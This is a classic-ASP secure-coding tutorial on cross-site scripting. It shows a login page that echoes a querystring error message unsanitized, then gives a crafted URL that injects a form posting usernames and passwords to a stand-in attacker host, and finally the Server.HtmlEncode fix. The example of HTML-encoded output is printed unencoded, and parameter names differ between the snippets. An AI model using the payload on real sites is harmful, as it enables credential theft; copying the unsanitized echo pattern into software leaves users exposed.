Data Sanitization - Reducing Security Holes in an ASP Web Site, Part 2

In Part 1 we examined the SQL Injection attack, a commonly found security hole resulting from unsanitized user input that is used in forming a SQL query. In this final part we'll examine the Cross Site Scripting vulnerability, which can occur when unsanitized data is sent to the client's Web browser.

What is Cross Site Scripting?
Cross Site Scripting is a vulnerability that occurs when a Web site displays user input in the browser that has not been properly sanitized. Cross Site Scripting can be used to steal cookies, compromise data integrity, and trick users into submitting information to a hacker.

Turn your attention back to our login page example we examined earlier in this article. Imagine that this login system was comprised of two pages: Login.asp, which created a form for the user to enter their username and password, and the page CheckCredentials.asp, which checked to see if the user's supplied username/password were valid. Now, imagine that in the case that the credentials were invalid, CheckCredentials.asp uses a Response.Redirect to send the user back to Login.asp, passing along in the querystring an errorMessage string, like so:

CheckCredentials.asp If rs.eof then 'user's credentials are not valid Response.Redirect("Login.asp?errorMessage=Invalid+username+or+password") Else 'user's credentials are valid, log them into the site... End If

Then, in Login.asp, the errorMessage querystring value would be displayed as follows:

Login.asp <form method="POST" action="CheckCredentials.asp"> <!-- display error message, if it exists --> <%=request.querystring("errorMessage")%> Username: <input type="text" name="UserName"><br> Password: <input type="password" name="Password"><br> <input type="submit" name="submit" value="log in!"> </form>

Using this (unsafe) technique, if the user attempts to login with invalid credentials, they are returned to Login.asp and are displayed a short message explaining that their credentials were invalid. A clever hacker, though, could realize that he could alter the actual HTML of the page by providing a errorMessage value that contains HTML markup. For example, imagine that you visited Login.asp using the following URL:

http://www.somesite.com/Login.asp?errorMessage=</form><form method="POST" action="www.hax0r.com/passwordstealer.asp">

As we saw in the code for Login.asp, the errorMessage querystring value will be emitted, producing an HTML page with the following markup:

Login.asp <form method="POST" action="somepage.asp"> </form><form method="POST" action="http://www.hax0r.com/stealPassword.asp"> Username: <input type="text" name="UserName"><br> Password: <input type="password" name="Password"><br> <input type="submit" name="submit" value="log in!"> </form>

The hacker has cleverly inserted some HTML into this page so that if an honest user were to visit the page with the supplied errorMessage querystring value, their supplied username and password would be submitted to the page http://www.hax0r.com/stealPassword.asp.

The hacker could now send a link to his contrived page via an email message, or a link from some message board site or what not, hoping that a user of the site will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his data to the hacker's site. (The proper encoding of the errorMessage querystring value in the URL would be: http://www.ourdomain.com/login.asp?errormsg=%3C%2Fform%3E%3Cform+method%3D%22POST%22+action%3D%22http://www%2Ehax0r%2Ecom%2FstealPassword%2Easp%22%3E.) The hacker "wins" if he can find someone who is tricked by this, clicks on his link, visits our Web site, and attempts to login, thereby sending their username/password to the hacker's Web site.

How do we Protect Against Cross Site Scripting?
Protecting against a Cross Site Scripting attack is relatively simple: simply use the Server.HtmlEncode method. Server.HtmlEncode takes a string and replace any characters that the browser will try to interpret with HTML encoding, so that the browser will print the characters to the screen. For example, if we call the Server.HtmlEncode method passing in:

</form><form method="POST" action="www.hax0r.com/passwordstealer.asp">

The resulting string will be:

</form><form method="POST" action="www.hax0r.com/passwordstealer.asp">

To change our original code to use html encoding, we need to change the line that prints the value of errorMessage from <%=request.querystring("errorMessage")%> to <%=server.htmlencode(request.querystring("errormsg"))%>

Once again, sanitization of data that is passed back to the browser should be performed on all data that has passed from an insecure source (the client). We should also sanitize any data that comes from any source and is passed back to the browser, as a hacker could break into our database/file system, insert his code into the correct record/file, and compromise our Web site in that manner. For a good article on Cross Site Scripting attacks, see: The Cross Site Scripting FAQ.

Conclusion
In this article we have seen how a Web application can be compromised by a malicious user/hacker if we don't take adequate measures to ensure we are not passing unclean data to the back-end database or to the front-end Web browser. We need to ensure that every single section of our application is using sanitized data, as a hacker with a lot of time (and malicious intent) could find the one input field we forgot to sanitize because we were tired at the time we coded it! More information on security vulnerabilities in web applications can be found at: http://www.owasp.org/asac/.

Happy Programming!